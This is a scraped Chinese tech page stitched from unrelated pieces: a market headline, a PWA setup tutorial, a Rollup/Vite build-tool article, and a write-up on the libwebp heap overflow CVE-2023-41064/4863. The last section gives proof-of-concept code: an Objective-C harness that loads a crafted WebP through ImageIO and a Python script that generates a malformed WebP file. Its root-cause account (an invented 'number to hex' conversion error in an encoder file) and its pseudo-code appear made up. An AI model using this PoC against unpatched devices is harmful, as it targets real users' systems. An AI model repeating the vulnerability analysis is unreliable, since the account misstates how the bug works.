普通视图
港股开盘:恒生指数涨1.46%,恒生科技指数涨1.77%
三件套快速上手 + 第一个可安装的 PWA(HTTPS + Manifest + 基础 Service Worker)
用最小的代码和配置,让一个普通网页变成可安装的 PWA。目标是 15–30 分钟内看到“添加到主屏幕”提示(Android 上自动,iOS 上通过分享菜单)。
前提条件(2026 年视角):
- 你有一个基本的静态网站或 SPA(HTML + CSS + JS)。
- 用现代构建工具(如 Vite、Next.js、Create React App)最好;纯静态 HTML 也可以。
- 最终上线必须 HTTPS(本地开发可以用 localhost 或自签名证书)。
第一步:启用 HTTPS(本地开发必备)
PWA 必须在 HTTPS 下工作(localhost 除外)。2026 年推荐工具仍是 mkcert(零配置、本地信任 CA)。
-
安装 mkcert(跨平台):
- macOS:
brew install mkcert - Windows:用 Chocolatey 或 Scoop,或直接下载二进制
- Linux:从 GitHub 下载
- macOS:
-
初始化本地 CA(只需一次):
mkcert -install -
为 localhost 生成证书:
mkdir certs && cd certs mkcert localhost 127.0.0.1 ::1→ 生成
localhost.pem和localhost-key.pem -
用它启动服务器:
-
Vite(推荐,超快):vite 默认支持 HTTPS
// vite.config.ts import { defineConfig } from 'vite' import react from '@vitejs/plugin-react' export default defineConfig({ plugins: [react()], server: { https: { key: './certs/localhost-key.pem', cert: './certs/localhost.pem', }, }, })运行
npm run dev→ https://localhost:5173 -
纯静态 或其他:用
http-server、live-server --https或 Node 的 https 模块。
-
访问 https://localhost:xxxx(忽略浏览器警告如果没信任 CA,但 mkcert 会自动信任)。
iOS Safari 测试:用真机连同一 WiFi,访问你电脑的 IP(如 https://192.168.1.100:5173)。iOS 26+ 对 PWA 支持更好,默认 Home Screen 打开像 web app。
第二步:创建 Web App Manifest
在项目根目录创建 manifest.json(或 manifest.webmanifest),内容如下(最小 + 2026 年推荐字段):
{
"name": "我的第一个 PWA",
"short_name": "PWA Demo",
"description": "一个简单的渐进式 Web 应用示例",
"start_url": "/",
"display": "standalone",
"display_override": ["standalone", "minimal-ui"],
"background_color": "#ffffff",
"theme_color": "#000000",
"icons": [
{
"src": "/icon-192.png",
"sizes": "192x192",
"type": "image/png",
"purpose": "any maskable"
},
{
"src": "/icon-512.png",
"sizes": "512x512",
"type": "image/png",
"purpose": "any maskable"
}
],
"scope": "/",
"orientation": "any",
"prefer_related_applications": false
}
关键字段解释(2026 年现状):
-
display: "standalone"→ 像原生 App,无浏览器边框。 -
icons→ 至少 192x192 和 512x512;iOS/Android 都认 maskable(自适应圆角)。 -
theme_color/background_color→ 启动屏和状态栏颜色。 -
start_url/scope→ 控制打开范围。
链接到 HTML(index.html 的 内):
<link rel="manifest" href="/manifest.json">
<meta name="theme-color" content="#000000">
<!-- iOS 老 fallback,2026 年 manifest 优先 -->
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black">
准备图标:用任意工具生成 192 和 512 的 PNG(推荐 maskable 形状:maskable.app/)放根目录。
第三步:注册基础 Service Worker
创建 sw.js(根目录):
// sw.js - 基础版:仅预缓存首页和核心文件
const CACHE_NAME = 'pwa-demo-v1';
const urlsToCache = [
'/',
'/index.html',
'/styles.css', // 你的 CSS
'/app.js', // 你的 JS
'/icon-192.png',
'/icon-512.png'
];
self.addEventListener('install', event => {
event.waitUntil(
caches.open(CACHE_NAME)
.then(cache => {
console.log('Opened cache');
return cache.addAll(urlsToCache);
})
);
});
self.addEventListener('fetch', event => {
event.respondWith(
caches.match(event.request)
.then(response => {
// 缓存命中,返回缓存
if (response) {
return response;
}
// 否则发网络请求
return fetch(event.request);
})
);
});
self.addEventListener('activate', event => {
const cacheWhitelist = [CACHE_NAME];
event.waitUntil(
caches.keys().then(cacheNames => {
return Promise.all(
cacheNames.map(cacheName => {
if (cacheWhitelist.indexOf(cacheName) === -1) {
return caches.delete(cacheName);
}
})
);
})
);
});
在你的主 JS 文件(或 index.html 的 script)注册:
// main.js 或直接 <script> 内
if ('serviceWorker' in navigator) {
window.addEventListener('load', () => {
navigator.serviceWorker.register('/sw.js')
.then(registration => {
console.log('Service Worker 注册成功:', registration);
})
.catch(err => {
console.log('注册失败:', err);
});
});
}
测试你的第一个 PWA
- 运行 HTTPS 本地服务器 → 访问 https://localhost:xxxx
- Chrome DevTools → Application → Manifest:检查 manifest 是否加载。
- Application → Service Workers:看到 sw.js 已激活。
- Lighthouse(Chrome DevTools)跑 PWA 审计:应该看到 “Installable” 绿灯。
- Android:访问几次 → 自动弹出“添加到主屏幕” banner,或菜单 → 安装。
- iOS Safari(iOS 26+):分享 → “添加到主屏幕” → 会用 manifest 的图标和名称,standalone 打开(无地址栏)。
常见坑 & 快速修复:
- Manifest 404?→ 确认路径,Content-Type: application/manifest+json
- SW 不工作?→ 确保 scope 正确(根目录 sw 覆盖全部)
- iOS 不显示 standalone?→ 确认加到主屏幕后打开;Safari 26+ 默认 web app 模式好多了。
- 图标不圆?→ purpose: "maskable" + 用 maskable.app 测试。
恭喜!你已经有了第一个可安装 PWA!它能离线打开(因为预缓存了首页),以 App 形式出现。
PWA 到底是什么?它在 2026 年解决了哪些真实痛点?
PWA 到底是什么?
Progressive Web App(渐进式 Web 应用,简称 PWA)是一种使用标准 Web 技术(HTML、CSS、JavaScript)构建的网页应用,但通过浏览器提供的增强能力,让它具备接近原生 App 的体验。
它不是一个全新的东西,而是一种“渐进增强”(Progressive Enhancement)的理念:从普通的网页开始,逐步添加高级特性,让用户感觉像在使用安装的原生应用。
PWA 的三大核心支柱(至今仍是):
- 可靠(Reliable):即使在弱网/断网情况下也能加载并基本可用(靠 Service Worker + 缓存)。
- 快速(Fast):瞬间加载、流畅交互(优化的缓存 + 性能最佳实践)。
- 可安装(Installable):可以“添加到主屏幕”,以独立窗口(standalone)模式运行,有图标、启动画面,像 App 一样。
在 2026 年,PWA 已经从 2015 年的“概念”变成了许多企业实际落地的主流移动解决方案之一。浏览器支持大幅成熟,Chrome/Edge/Firefox 几乎完整,Safari(iOS)也追赶了很多年(虽仍有差距)。
它在 2026 年真正解决了哪些真实痛点?
以下是 2026 年开发者/产品/业务最常遇到的痛点,以及 PWA 如何针对性解决(基于当前浏览器现实支持情况):
-
开发和维护成本爆炸(Separate iOS + Android + Web)
- 痛点:同一功能要写 3 套代码(Swift/Kotlin + Web),测试、上架、更新各走各的流程,维护成本高到离谱。
- PWA 解决:一套代码跑三端(甚至桌面 Windows/macOS/ChromeOS)。2026 年 60%+ 的企业级移动项目已转向 PWA 或 hybrid 模式,开发成本可降 40–60%。更新无需 App Store 审核,秒级生效。
-
用户安装/获取摩擦巨大(App Store 下载壁垒)
- 痛点:用户看到链接 → 去 App Store → 下载几十 MB → 安装 → 打开,转化率惨不忍睹(很多场景 <5%)。
- PWA 解决:链接一点就用,符合条件可弹出“添加到主屏幕”提示(Android 自动 banner,iOS 手动但更顺畅)。安装后有图标、离线可用、无需占 App Store 空间。很多电商/内容/工具类 App 转化率因此提升 2–5 倍。
-
弱网/无网场景下体验崩坏
- 痛点:地铁、电梯、农村、国际漫游……用户一断网就白屏/卡死,流失严重。
- PWA 解决:Service Worker 预缓存 + 运行时缓存,核心页面/资源离线可用。2026 年 Workbox 等工具让实现几乎零成本。新闻、邮件、待办、天气、记账类 PWA 在断网时仍能浏览历史、写草稿,等联网再同步。
-
推送通知和用户再触达难
- 痛点:H5 基本没推送,原生 App 推送又贵又麻烦(审核、权限)。
- PWA 解决:Web Push 已跨平台可用。Android/桌面完整支持,iOS 从 iOS 16.4 开始支持(需加到主屏幕,非 EU 地区更稳定)。2026 年 Declarative Web Push 等新 API 让推送更可靠,企业再营销/订单提醒/消息触达率大幅提升。
-
加载慢、性能差直接影响收入
- 痛点:移动端 3 秒未加载完,用户流失率飙升;Core Web Vitals 差 → SEO 排名掉。
- PWA 解决:强制 HTTPS + 缓存策略 + 优化后,首屏加载常 <1s。Lighthouse PWA 分数 90+ 已成为标配,很多业务报告转化率提升 20–50%。
-
跨平台一致性 & 快速迭代
- 痛点:iOS 和 Android 体验割裂,bug 修复要双平台发版。
- PWA 解决:浏览器统一渲染逻辑,一处修复全局生效。2026 年 PWA 还能用 File System Access、Web Share、Badging API 等,让体验更接近原生。
2026 年 PWA 的真实平台支持对比(简表)
| 特性 | Android (Chrome) | iOS (Safari 26+) | Windows/macOS | 备注 |
|---|---|---|---|---|
| 添加到主屏幕/安装 | 完整(自动提示) | 支持(手动 Share → Add) | 支持 | iOS 26 默认更倾向 web app 模式 |
| 离线 & 缓存 | 完整 | 完整(但存储配额仍限) | 完整 | Service Worker 跨平台 |
| Push 通知 | 完整 | 支持(需 home screen,非EU更稳) | 完整 | iOS 无 silent push,reach 稍低 |
| Background Sync | 完整 | 部分/不支持 | 部分 | iOS 仍最大短板 |
| Periodic Sync | 完整 | 不支持 | 部分 | 用于定期更新内容 |
| 硬件 API(相机、蓝牙等) | 大部分支持 | 部分支持 | 部分 | 差距在缩小 |
总结一句话(2026 年视角)
PWA 不是要完全取代原生 App,而是解决了**“我想给用户 App 般的体验,但不想付出双平台原生开发的代价”** 这个最真实、最普遍的痛点。
特别适合:
- 电商、新闻、社交工具、SaaS、生产力工具、内容平台
- 预算有限、需要快速验证、重视 SEO 和链接分享的场景
- 想覆盖桌面 + 移动 + 弱网用户的企业
不适合:
- 重度游戏、AR/VR、深度硬件调用(如银行指纹/人脸支付完整链路)
- 对 iOS 推送/后台要求极高的场景(仍需原生补位)
建滔集团:预计2025年纯利较2024年同期上升超过165%
智平方完成B轮系列超10亿元人民币融资,公司估值正式超过百亿
炒股2025总结:低频次出手,如何一年翻三倍?
炒股想赚钱要先学什么?认错。这条视频我想复盘一下我2025年炒股的思路,分析一下在低频次出手的情况下,如何在机构和趋势股上赚钱,同时也想根据同学、朋友亏钱的操作来聊聊普通股民如何减少在股市里亏钱,选择更适合自己的思路。
下载虎嗅APP,第一时间获取深度独到的商业科技资讯,连接更多创新人群与线下活动
前端构建工具:从Rollup到Vite
在 Vue.js 源码中,
pnpm run build reactivity这个命令背后究竟发生了什么?为什么 Vue3 选择Rollup作为构建工具?Vite和Rollup又是什么关系?本文将深入理解Rollup的核心配置,探索 Vue3 的构建体系,并理清Vite与Rollup的渊源。
Rollup 基础配置解析
什么是 Rollup?
Rollup 是一个 JavaScript 模块打包器,它可以将多个模块打包成一个单独的文件。与 Webpack 不同,Rollup 专注于 ES 模块的静态分析,以生成更小、更高效的代码。
Rollup 的核心优势
-
treeShaking:基于 ES 模块的静态分析,自动移除未使用的代码 - 支持输出多种模块格式(ESM、CJS、UMD、IIFE)
- 配置文件简洁直观,学习成本低
- 插件体系完善,可以处理各种场景
核心配置:input 与 output
Rollup 的配置文件通常是 rollup.config.js,它导出一个配置对象或数组:
input:入口文件配置
// rollup.config.js
export default {
// 单入口(最常见)
input: 'src/index.js',
// 多入口(对象形式)
input: {
main: 'src/main.js',
admin: 'src/admin.js',
utils: 'src/utils.js'
},
// 多入口(数组形式)
input: ['src/index.js', 'src/cli.js']
};
output:输出配置
output 配置决定了打包产物的形式和位置:
export default {
input: 'src/index.js',
// 单输出配置
output: {
file: 'dist/bundle.js', // 输出文件
format: 'esm', // 输出格式
name: 'MyLibrary', // UMD/IIFE 模式下的全局变量名
sourcemap: true, // 生成 sourcemap
banner: '/*! MyLibrary v1.0.0 */' // 文件头注释
},
// 多输出配置(数组形式,输出多种格式)
output: [
{
file: 'dist/my-lib.cjs.js',
format: 'cjs' // CommonJS,适用于 Node.js
},
{
file: 'dist/my-lib.esm.js',
format: 'es' // ES Module,适用于现代浏览器/打包工具
},
{
file: 'dist/my-lib.umd.js',
format: 'umd', // UMD,适用于所有场景
name: 'MyLibrary'
},
{
file: 'dist/my-lib.iife.js',
format: 'iife', // IIFE,直接用于浏览器 script 标签
name: 'MyLibrary'
}
]
};
输出格式详解
| 格式 | 全称 | 适用场景 | 特点 |
|---|---|---|---|
| es / esm | ES Module | 现代浏览器、打包工具 | 保留 import/export,支持 Tree Shaking |
| cjs | CommonJS | Node.js 环境 | 使用 require/module.exports |
| umd | Universal Module Definition | 通用(浏览器、Node.js) | 兼容 AMD、CommonJS 和全局变量 |
| iife | Immediately Invoked Function Expression | 直接在浏览器用 script 脚本引入 | 自执行函数,避免全局污染 |
| amd | Asynchronous Module Definition | RequireJS 等 | 异步模块加载 |
插件系统:扩展 Rollup 的能力
Rollup 的核心功能很精简,大多数能力需要通过插件来扩展。插件通过 plugins 数组配置,可以是单个插件实例或包含多个插件的数组:
import { nodeResolve } from '@rollup/plugin-node-resolve';
import commonjs from '@rollup/plugin-commonjs';
import { terser } from 'rollup-plugin-terser';
import json from '@rollup/plugin-json';
import replace from '@rollup/plugin-replace';
import babel from '@rollup/plugin-babel';
export default {
input: 'src/index.js',
output: {
file: 'dist/bundle.js',
format: 'umd',
name: 'MyLibrary'
},
plugins: [
// 解析 node_modules 中的第三方模块[citation:1]
nodeResolve(),
// 将 CommonJS 模块转换为 ES 模块[citation:10]
commonjs(),
// 支持导入 JSON 文件
json(),
// 替换代码中的字符串(常用于环境变量)
replace({
'process.env.NODE_ENV': JSON.stringify('production')
}),
// 使用 Babel 进行代码转换
babel({
babelHelpers: 'bundled',
exclude: 'node_modules/**'
}),
// 压缩代码(生产环境)
terser()
]
};
external:排除外部依赖
当构建一个库时,我们通常不希望将第三方依赖(如 React、Vue、lodash)打包进最终的产物,而是将其声明为外部依赖:
export default {
input: 'src/index.js',
output: {
file: 'dist/my-lib.js',
format: 'umd',
name: 'MyLibrary',
// 为 UMD 模式提供全局变量名映射
globals: {
'react': 'React',
'react-dom': 'ReactDOM',
'lodash': '_'
}
},
// 排除外部依赖
external: [
'react',
'react-dom',
'lodash',
// 也可以使用正则表达式
/^lodash\// // 排除 lodash 的所有子模块
]
};
Tree Shaking
Rollup 最令人津津乐道的就是其 Tree Shaking 功能,它通过静态分析移除未使用的代码,减小打包体积:
export default {
input: 'src/index.js',
output: {
file: 'dist/bundle.js',
format: 'esm'
},
treeshake: {
// 模块级别的副作用分析
moduleSideEffects: false,
// 属性访问分析(更精确的 Tree Shaking)
propertyReadSideEffects: false,
// 尝试合并模块
tryCatchDeoptimization: false,
// 未知全局变量分析
unknownGlobalSideEffects: false
}
};
// 更简单的用法:直接使用布尔值
treeshake: true // 开启默认的摇树优化[citation:1]
watch:监听模式
在开发过程中,我们可以开启监听模式,当文件变化时自动重新打包:
export default {
input: 'src/index.js',
output: {
file: 'dist/bundle.js',
format: 'esm'
},
watch: {
include: 'src/**', // 监听的文件
exclude: 'node_modules/**', // 排除的文件
clearScreen: false // 不清除屏幕
}
};
// 或者在命令行中开启
// rollup -c --watch
// rollup -c -w (简写)
Vue3 使用的关键 Rollup 插件
Vue3 的源码采用 monorepo 管理,使用 Rollup 进行构建。让我们看看 Vue3 在构建过程中使用了哪些关键插件:
@rollup/plugin-node-resolve
作用:允许 Rollup 从 node_modules 中导入第三方模块。
// 为什么需要这个插件?
import { reactive } from '@vue/reactivity'; // 这个模块在 node_modules 中
// 没有插件时,Rollup 无法解析这个路径
// Vue3 中的使用
import nodeResolve from '@rollup/plugin-node-resolve';
export default {
plugins: [
nodeResolve({
// 指定解析的模块类型
mainFields: ['module', 'main'], // 优先使用 module 字段[citation:5]
extensions: ['.js', '.json', '.ts'], // 支持的文件扩展名
preferBuiltins: false // 不优先使用 Node 内置模块
})
]
};
@rollup/plugin-commonjs
作用:将 CommonJS 模块转换为 ES 模块,使得 Rollup 可以处理那些尚未提供 ES 模块版本的依赖:
import commonjs from '@rollup/plugin-commonjs';
export default {
plugins: [
commonjs({
// 指定哪些文件需要转换
include: 'node_modules/**',
// 扩展名
extensions: ['.js', '.cjs'],
// 忽略某些模块的转换
ignore: ['conditional-runtime-dependency']
})
]
};
@rollup/plugin-replace
作用:在打包时替换代码中的字符串,常用于注入环境变量或特性开关(Feature Flags):
// Vue3 中的特性开关示例[citation:2]
// packages/compiler-core/src/errors.ts
export function createCompilerError(code, loc, messages, additionalMessage) {
// __DEV__ 在构建时被替换为 true 或 false
if (__DEV__) {
// 开发环境才执行的代码
}
}
// rollup 配置
import replace from '@rollup/plugin-replace';
export default {
plugins: [
replace({
// 防止被 JSON.stringify 转义
preventAssignment: true,
// 定义环境变量
__DEV__: process.env.NODE_ENV !== 'production',
__VERSION__: JSON.stringify('3.2.0'),
// 特性开关
__FEATURE_OPTIONS_API__: true,
__FEATURE_PROD_DEVTOOLS__: false
})
]
};
@rollup/plugin-json
作用:支持从 JSON 文件导入数据:
import json from '@rollup/plugin-json';
export default {
plugins: [
json({
// 指定 JSON 文件的大小限制,超过限制则作为单独文件引入
preferConst: true,
indent: ' '
})
]
};
// 使用时
import pkg from './package.json';
console.log(pkg.version);
rollup-plugin-terser
作用:压缩代码,减小生产环境的包体积:
import { terser } from 'rollup-plugin-terser';
export default {
plugins: [
// 只在生产环境使用
process.env.NODE_ENV === 'production' && terser({
compress: {
drop_console: true, // 移除 console
drop_debugger: true, // 移除 debugger
pure_funcs: ['console.log'] // 移除特定的函数调用
},
output: {
comments: false // 移除注释
}
})
]
};
@rollup/plugin-babel
作用:使用 Babel 进行代码转换,处理语法兼容性问题:
import babel from '@rollup/plugin-babel';
export default {
plugins: [
babel({
// 排除 node_modules
exclude: 'node_modules/**',
// 包含的文件
include: ['src/**/*.js', 'src/**/*.ts'],
// Babel helpers 的处理方式
babelHelpers: 'bundled', // 或 'runtime'
// 扩展名
extensions: ['.js', '.jsx', '.ts', '.tsx']
})
]
};
@rollup/plugin-typescript
作用:支持 TypeScript 编译:
import typescript from '@rollup/plugin-typescript';
export default {
plugins: [
typescript({
tsconfig: './tsconfig.json',
declaration: true, // 生成 .d.ts 文件
declarationDir: 'dist/types'
})
]
};
如何构建指定包(以 pnpm run build reactivity 为例)
Vue3 采用 monorepo 管理多个包,使用 pnpm 作为包管理器。理解 pnpm run build reactivity 背后的机制,能帮助我们更好地理解现代构建流程:
项目结构
vue-next/
├── packages/ # 所有子包
│ ├── reactivity/ # 响应式系统
│ │ ├── src/
│ │ ├── package.json # 包级配置
│ │ └── ...
│ ├── runtime-core/ # 运行时核心
│ ├── runtime-dom/ # 浏览器运行时
│ ├── compiler-core/ # 编译器核心
│ ├── vue/ # 完整版本
│ └── ...
├── package.json # 根配置
├── pnpm-workspace.yaml # pnpm 工作区配置
└── rollup.config.js # Rollup 配置文件
pnpm-workspace.yaml 配置
# pnpm-workspace.yaml
packages:
- 'packages/*' # 声明 packages 下的所有目录都是工作区的一部分
这个配置告诉 pnpm:packages 目录下的每个子目录都是一个独立的包,它们之间可以互相引用而不需要发布到 npm。
根 package.json 的脚本配置
// 根目录 package.json
{
"private": true,
"scripts": {
"build": "node scripts/build.js", // 构建所有包
"build:reactivity": "pnpm run build reactivity", // 只构建 reactivity 包
"dev": "node scripts/dev.js", // 开发模式
"test": "jest" // 运行测试
}
}
pnpm run 的底层原理
当我们在命令行执行 pnpm run build reactivity 时,背后发生了以下步骤:
- 解析命令:
pnpm run build reactivity - 读取根目录
package.json中的scripts - 找到 "build":
node scripts/build.js - 将参数 "reactivity" 传递给脚本
- 在 PATH 环境变量中查找 node
- 执行
node scripts/build.js reactivity - 脚本根据参数决定构建哪个包
build.js 脚本分析
Vue3 的构建脚本会解析命令行参数,决定构建哪些包:
// scripts/build.js (简化版)
const fs = require('fs');
const path = require('path');
const execa = require('execa');
const { targets: allTargets } = require('./utils');
// 获取命令行参数
const args = require('minimist')(process.argv.slice(2));
const targets = args._; // 获取到的参数数组
async function build() {
// 如果没有指定目标,构建所有包
if (!targets.length) {
await buildAll(allTargets);
} else {
// 只构建指定的包
await buildSelected(targets);
}
}
async function buildSelected(targets) {
for (const target of targets) {
await buildPackage(target);
}
}
async function buildPackage(packageName) {
console.log(`开始构建: @vue/${packageName}`);
// 切换到包目录
const pkgDir = path.resolve(__dirname, '../packages', packageName);
// 使用 rollup 构建该包
await execa(
'rollup',
[
'-c', // 使用配置文件
'--environment', // 设置环境变量
`TARGET:${packageName}`, // 告诉 rollup 要构建哪个包
'--watch' // 开发模式时可能开启
],
{
stdio: 'inherit', // 继承输入输出
cwd: pkgDir // 在包目录执行
}
);
}
build();
Rollup 配置如何区分不同的包
// rollup.config.js (简化版)
import { createRequire } from 'module';
import path from 'path';
import fs from 'fs';
// 获取所有包
const packagesDir = path.resolve(__dirname, 'packages');
const packages = fs.readdirSync(packagesDir)
.filter(f => fs.statSync(path.join(packagesDir, f)).isDirectory());
// 根据环境变量决定构建哪个包
const target = process.env.TARGET;
function createConfig(packageName) {
const pkgDir = path.resolve(packagesDir, packageName);
const pkg = require(path.join(pkgDir, 'package.json'));
// 为每个包生成不同的配置
return {
input: path.resolve(pkgDir, 'src/index.ts'),
output: [
{
file: path.resolve(pkgDir, pkg.main),
format: 'cjs',
sourcemap: true
},
{
file: path.resolve(pkgDir, pkg.module),
format: 'es',
sourcemap: true
}
],
plugins: [
// 共用插件
],
external: [
...Object.keys(pkg.dependencies || {}),
...Object.keys(pkg.peerDependencies || {})
]
};
}
// 如果指定了 target,只构建那个包
if (target) {
module.exports = createConfig(target);
} else {
// 否则构建所有包
module.exports = packages.map(createConfig);
}
包级 package.json 的配置
每个包都有自己的 package.json,定义了该包的元信息和构建产物的入口:
// packages/reactivity/package.json
{
"name": "@vue/reactivity",
"version": "3.2.0",
"main": "dist/reactivity.cjs.js", // CommonJS 入口
"module": "dist/reactivity.esm.js", // ES Module 入口
"unpkg": "dist/reactivity.global.js", // 直接引入的 UMD 版本
"types": "dist/reactivity.d.ts", // TypeScript 类型定义
"dependencies": {
"@vue/shared": "3.2.0"
}
}
Vite 与 Rollup 的关系
为什么需要 Vite?
虽然 Rollup 很优秀,但在开发大型应用时,它和 Webpack 一样面临着性能瓶颈:随着项目变大,启动开发服务器的时间越来越长。
Vite 的双引擎架构
Vite 在开发环境和生产环境使用不同的引擎:
- 开发环境:利用浏览器原生 ES 模块 + esbuild 预构建
- 生产环境:使用 Rollup 进行深度优化打包
开发环境:利用原生 ES 模块
<!-- Vite 开发服务器的原理 -->
<script type="module">
// 浏览器直接请求模块,服务器实时编译返回
import { createApp } from '/node_modules/.vite/vue.js'
import App from '/src/App.vue'
createApp(App).mount('#app')
</script>
esbuild 使用 Go 编写,比 JS 编写的打包器快 10-100 倍,可以预构建依赖,并转换 TypeScript/JSX。
生产环境:使用 Rollup 打包
Vite 在生产环境构建时,会使用 Rollup 进行打包。Vite 的插件系统也是与 Rollup 兼容的,这意味着绝大多数 Rollup 插件也可以在 Vite 中使用:
// vite.config.js
import { defineConfig } from 'vite';
import vue from '@vitejs/plugin-vue';
import { resolve } from 'path';
export default defineConfig({
plugins: [
vue() // 这个插件同时支持开发环境和生产环境
],
// 构建配置
build: {
// 底层是 Rollup 配置
rollupOptions: {
input: {
main: resolve(__dirname, 'index.html'),
nested: resolve(__dirname, 'nested/index.html')
},
output: {
// 代码分割配置
manualChunks: {
vendor: ['vue', 'vue-router']
}
}
},
// 输出目录
outDir: 'dist',
// 生成 sourcemap
sourcemap: true,
// 压缩配置
minify: 'terser' // 或 'esbuild'
}
});
Vite 与 Rollup 的配置对比
| 配置项 | Rollup | Vite |
|---|---|---|
| 入口文件 | input | build.rollupOptions.input |
| 输出目录 | output.file / output.dir | build.outDir |
| 输出格式 | output.format | build.rollupOptions.output.format |
| 外部依赖 | external | build.rollupOptions.external |
| 插件 | plugins | plugins (同时支持 Vite 和 Rollup 插件) |
| 开发服务器 | 无(需配合 rollup -w) | 内置,支持 HMR |
何时选择 Vite,何时选择 Rollup?
使用 Rollup
- 开发 JavaScript/TypeScript 库
- 需要精细控制打包过程
- 项目不复杂,不需要开发服务器
- 已有基于 Rollup 的构建流程
使用 Vite
- 开发应用(Vue/React 项目)
- 需要快速启动的开发服务器
- 需要 HMR 热更新
- 希望简化配置
两者结合
- 库开发时使用 Rollup
- 应用开发时使用 Vite
- Vite 内部使用 Rollup 构建生产环境
总结
Rollup 的核心优势
- 简洁性: 配置直观,学习成本低
- TreeShaking: 基于ES模块的静态分析,产出代码极小
- 多格式输出: 支持输出多种模块格式,适用于不同环境
- 插件生态: 丰富的插件,可以处理各种场景
- 源码可读性: 打包后的代码保持较好的可读性
Vite 的创新之处
- 开发体验: 利用原生ES模块,实现极速启动和热更新
- 双引擎架构: 开发用 esbuild,生产用 Rollup,各取所长
- 配置简化: 内置常用配置,开箱即用
- 插件兼容: 兼容 Rollup 插件生态
构建工具是现代前端开发的基石,深入理解它们不仅能帮助我们写出更高效的代码,还能在遇到问题时快速定位和解决。对于文章中错误的地方或者有任何问题,欢迎在评论区留言讨论!
深度剖析CVE-2023-41064与CVE-2023-4863:libwebp堆溢出漏洞的技术解剖与PoC构建实录
2023年9月,苹果与谷歌同步披露了两个关联的高危远程代码执行漏洞:
- CVE-2023-41064 (Apple Safari/ImageIO框架)
- CVE-2023-4863 (Google Chrome/libwebp库)
二者均源于 libwebp图像处理库中 ReadHuffmanCodes() 函数的堆缓冲区溢出缺陷。该漏洞被证实用于针对记者与异见人士的 BLASTPASS/Pegasus间谍软件攻击链 ,攻击者仅需发送一封 恶意WebP图片附件 (无需用户交互),即可完全控制设备。
漏洞本质: 恶意构造的WebP图像通过篡改霍夫曼编码表的“数字到十六进制(Number to Hex)转换逻辑,触发内存分配不足,最终导致堆溢出(Heap Buffer Overflow)。
漏洞原理:霍夫曼编码表的致命偏差
1. libwebp的解码流程
WebP图像使用VP8L压缩格式,其核心解码步骤包括:
- 解析VP8L分块:读取图像特征与霍夫曼编码表参数。
- 构建霍夫曼树:根据表中的“码长”动态生成解码树。
- 解码图像数据:利用霍夫曼树解压像素信息。
2. ReadHuffmanCodes函数的逻辑缺陷
漏洞点位于 libwebp/src/enc/histogram_enc.c 中的 ReadHuffmanCodes() 函数。核心问题在于“数字到十六进制”转换偏差导致的缓冲区分配错误:
伪代码还原漏洞逻辑
// 漏洞核心.......未校验码长与分配内存的匹配关系
int ReadHuffmanCodes(VP8LDecoder* const dec, int alphabet_size) {
int num_symbols = ReadBits(4) + 1; // 符号数量N(1-16)
int max_code_length = ReadBits(4) + 1; // 最大码长L(1-16)
// 【致命偏差】“数字到十六进制”转换错误:将十进制数值误作十六进制解析
// 实际分配内存:N*(L+1)字节(应为N*(L+1),但因转换偏差导致分配过小)
size_t mem_size = num_symbols * (max_code_length + 1);
HuffmanTree* tree = (HuffmanTree*)malloc(mem_size); // 堆缓冲区分配
// 填充霍夫曼树节点(漏洞触发点)
for (int i = 0; i < num_symbols; i++) {
int code_length = ReadBits(3); // 读取3比特码长(0-7,实际可构造更大值)
if (code_length > 0) {
// 【堆溢出】当code_length > max_code_length时,写入越界
tree[i].code_len = code_length;
tree[i].symbol = ReadBits(8); // 符号值(1字节)
}
}
return 1;
}
PoC构建:Xcode + Objective-C 实战
基于您提供的 poc.m 代码,我们优化并扩展了完整的漏洞验证程序,重点模拟真实攻击场景下的解析流程。
1. 原始代码分析
您的 poc.m 通过ImageIO框架加载恶意WebP,触发libwebp解析:
// 核心触发逻辑(您的代码)
CGImageSourceRef source = CGImageSourceCreateWithData((__bridge CFDataRef)imageData, NULL);
CGImageRef image = CGImageSourceCreateImageAtIndex(source, 0, NULL); // 漏洞触发点
优点:利用系统框架模拟真实应用(如Safari、Messages)的图像解析流程,无需手动链接libwebp。
2. 优化版PoC:增强调试与鲁棒性
以下是整合错误处理、ASan集成、日志系统的完整代码(CVE-2023-41064-PoC.m):
//
// main.m
// CVE-2023-41064
//
// Created by 钟智强 on 2026/2/22.
//
#import <Foundation/Foundation.h>
#import <ImageIO/ImageIO.h>
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSString *path = [[NSBundle mainBundle] pathForResource:@"malicious" ofType:@"webp"];
if (!path) {
NSLog(@"[-] 错误:在 Bundle Resources 中未找到 malicious.webp。");
return 0x1;
}
NSData *imageData = [NSData dataWithContentsOfFile:path];
if (!imageData) {
NSLog(@"[-] 错误:已找到路径,但无法读取文件。");
return 0x1;
}
NSLog(@"[+] 成功:已从 Bundle 加载文件。");
NSLog(@"[*] 正在尝试触发 CVE-2023-41064(libwebp 堆溢出)...");
CGImageSourceRef source = CGImageSourceCreateWithData((__bridge CFDataRef)imageData, NULL);
if (source) {
CGImageRef image = CGImageSourceCreateImageAtIndex(source, 0, NULL);
if (image) {
NSLog(@"[+] 图像已解析。若应用未崩溃,说明您的系统可能已打补丁。");
CFRelease(image);
}
CFRelease(source);
}
}
return 0x0;
}
3. 恶意WebP生成脚本
构造触发漏洞的WebP文件(generate_malicious_webp.py):
import struct
# 生成一个畸形的 WebP 文件,用于触发 libwebp 的 Huffman 溢出
def generate_malicious_webp():
# RIFF 头
data = b'RIFF\x00\x00\x00\x00WEBPVP8L'
# VP8L 无损分块,包含畸形的 Huffman 表
# 该比特流旨在导致 libwebp 的越界写入
content = b'\x2f\x00\x00\x00\x80\xff\xff\xff\xff\xff\x07'
content += b'\x00' * 256 # 额外数据以确保溢出
chunk_size = struct.pack('<I', len(content))
full_file = data + chunk_size + content
# 更新 RIFF 大小
riff_size = struct.pack('<I', len(full_file) - 8)
full_file = full_file[:4] + riff_size + full_file[8:]
with open("malicious.webp", "wb") as f:
f.write(full_file)
generate_malicious_webp()
4. Xcode项目配置(含ASan)
Makefile(开启ASan与调试符号)
CC = clang
FRAMEWORKS = -framework Foundation -framework ImageIO -framework CoreGraphics
CFLAGS = -g -O0 -fobjc-arc -Wall -fsanitize=address,undefined # 开启ASan
TARGET = CVE-2023-41064-PoC
all: $(TARGET)
$(TARGET): CVE-2023-41064-PoC.m
$(CC) $(CFLAGS) $^ -o $@ $(FRAMEWORKS)
clean:
rm -f $(TARGET)
漏洞复现:ASan崩溃 vs 已修复环境
1. 易受攻击环境(macOS < 13.5.2,未打补丁)
ASan崩溃日志
